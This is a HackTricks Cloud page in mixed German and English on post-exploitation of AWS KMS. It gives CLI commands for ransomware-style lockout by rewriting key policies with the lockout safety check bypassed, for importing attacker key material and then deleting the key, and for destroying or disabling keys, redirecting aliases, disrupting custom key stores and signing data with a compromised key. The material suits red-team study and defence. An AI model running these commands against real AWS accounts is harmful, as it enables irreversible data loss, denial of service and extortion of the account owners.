AWS - KMS Post Exploitation
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Unterstütze HackTricks
- Sieh dir die Abonnementpläne an!
- Tritt der 💬 Discord group oder der telegram group bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichst.
KMS
For more information check:
Encrypt/Decrypt information
fileb:// and file:// are URI schemes used in AWS CLI commands to specify the path to local files:
fileb://:liest die Datei im Binärmodus; üblicherweise verwendet für Nicht-Text-Dateien.file://:liest die Datei im Textmodus; typischerweise verwendet für Textdateien, Skripte oder JSON, die keine spezielle Encoding-Anforderungen haben.
Tip
Beachte, dass wenn du Daten innerhalb einer Datei decrypten möchtest, die Datei die Binärdaten enthalten muss, nicht base64-kodierte Daten. (fileb://)
- Verwendung eines symmetrischen Schlüssels
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
- Verwendung eines asymmetrischen Schlüssels:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode
KMS Ransomware
Ein Angreifer mit privilegiertem Zugriff auf KMS könnte die KMS policy von keys modifizieren und seinem Konto Zugriff darauf gewähren, wobei der Zugriff des legitimen Kontos entfernt wird.
Dann können die Benutzer des legitimen Kontos keine Informationen von Diensten abrufen, die mit diesen keys verschlüsselt wurden, wodurch eine einfache, aber effektive Ransomware gegen das Konto entsteht.
Warning
Beachte, dass AWS managed keys aren’t affected von diesem Angriff, betroffen sind nur Customer managed keys.
Beachte außerdem, dass der Parameter
--bypass-policy-lockout-safety-checkverwendet werden muss (das Fehlen dieser Option in der Webkonsole macht diesen Angriff nur über die CLI möglich).
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check
{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
Caution
Beachte, dass wenn du diese Policy änderst und nur einem externen Account Zugriff gewährst, und dann von diesem externen Account versuchst, eine neue Policy zu setzen, um give the access back to original account, you won’t be able cause the Put Polocy action cannot be performed from a cross account.
.png)
Generic KMS Ransomware
Es gibt einen anderen Weg, ein globales KMS Ransomware durchzuführen, der die folgenden Schritte beinhaltet:
- Erstelle einen neuen key with a key material, der vom Angreifer importiert wurde
- Re-encrypt older data des Opfers, das mit der vorherigen Version verschlüsselt wurde, mit der neuen
- Delete the KMS key
- Nun kann nur noch der Angreifer, der das originale key material besitzt, die verschlüsselten Daten entschlüsseln
Schlüssel löschen via kms:DeleteImportedKeyMaterial
Mit der Berechtigung kms:DeleteImportedKeyMaterial kann ein Akteur das importierte key material aus CMKs mit Origin=EXTERNAL (CMKs, die ihr key material importiert haben) löschen und sie dadurch unfähig machen, Daten zu entschlüsseln. Diese Aktion ist destruktiv und irreversibel, es sei denn kompatibles Material wird erneut importiert, wodurch ein Angreifer effektiv einen ransomware-like data loss verursachen kann, indem verschlüsselte Informationen dauerhaft unzugänglich gemacht werden.
aws kms delete-imported-key-material --key-id <Key_ID>
Schlüssel zerstören
Durch das Zerstören von Schlüsseln kann ein DoS verursacht werden.
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
Caution
Beachte, dass AWS jetzt verhindert, dass die zuvor beschriebenen Aktionen aus einem Cross-Account ausgeführt werden:
Change or delete Alias
Dieser Angriff löscht oder leitet AWS KMS Aliases um, bricht die Key-Auflösung und verursacht unmittelbare Ausfälle in allen Services, die auf diese Aliases angewiesen sind, was zu einem denial-of-service führen kann. Mit Berechtigungen wie kms:DeleteAlias oder kms:UpdateAlias kann ein Angreifer Aliases entfernen oder umleiten und kryptografische Operationen stören (z. B. encrypt, describe). Jeder Service, der den Alias statt der key ID referenziert, kann ausfallen, bis der Alias wiederhergestellt oder korrekt neu zugeordnet ist.
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
Cancel Key Deletion
Mit Berechtigungen wie kms:CancelKeyDeletion und kms:EnableKey kann ein Angreifer eine geplante Löschung eines AWS KMS customer master key abbrechen und ihn später wieder aktivieren. Dadurch wird der Schlüssel wiederhergestellt (anfangs im Disabled state) und seine Fähigkeit, zuvor geschützte Daten zu entschlüsseln, wieder aktiviert, was exfiltration ermöglicht.
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>
## Second enable the key
aws kms enable-key \
--key-id <Key_ID>
Disable Key
Mit der Berechtigung kms:DisableKey kann ein Angreifer einen AWS KMS customer master key deaktivieren, sodass er nicht mehr für Verschlüsselung oder Entschlüsselung verwendet werden kann. Dadurch wird der Zugriff für alle Dienste, die von diesem CMK abhängen, unterbrochen und es kann zu sofortigen Störungen oder einem denial-of-service kommen, bis der Schlüssel wieder aktiviert wird.
aws kms disable-key \
--key-id <key_id>
Derive Shared Secret
Mit der Berechtigung kms:DeriveSharedSecret kann ein Akteur einen in KMS gehaltenen privaten Schlüssel zusammen mit einem vom Benutzer bereitgestellten öffentlichen Schlüssel verwenden, um ein ECDH shared secret zu berechnen.
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
Impersonation via kms:Sign
Mit der Berechtigung kms:Sign kann ein Angreifer einen in KMS gespeicherten CMK verwenden, um Daten kryptografisch zu signieren, ohne den privaten Schlüssel offenzulegen, wodurch gültige Signaturen erzeugt werden können, die Impersonation ermöglichen oder böswillige Aktionen autorisieren.
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW
DoS mit Custom Key Stores
Mit Rechten wie kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore oder kms:UpdateCustomKeyStore kann ein Akteur einen AWS KMS Custom Key Store (CKS) ändern, trennen oder löschen, wodurch dessen Master-Schlüssel unbrauchbar werden. Dadurch werden Verschlüsselungs-, Entschlüsselungs- und Signieroperationen für alle Dienste, die auf diese Schlüssel angewiesen sind, unterbrochen und es kann zu einer sofortigen denial-of-service kommen. Daher ist es entscheidend, diese Berechtigungen einzuschränken und zu überwachen.
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
.png)
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Unterstütze HackTricks
- Sieh dir die Abonnementpläne an!
- Tritt der 💬 Discord group oder der telegram group bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichst.
HackTricks Cloud

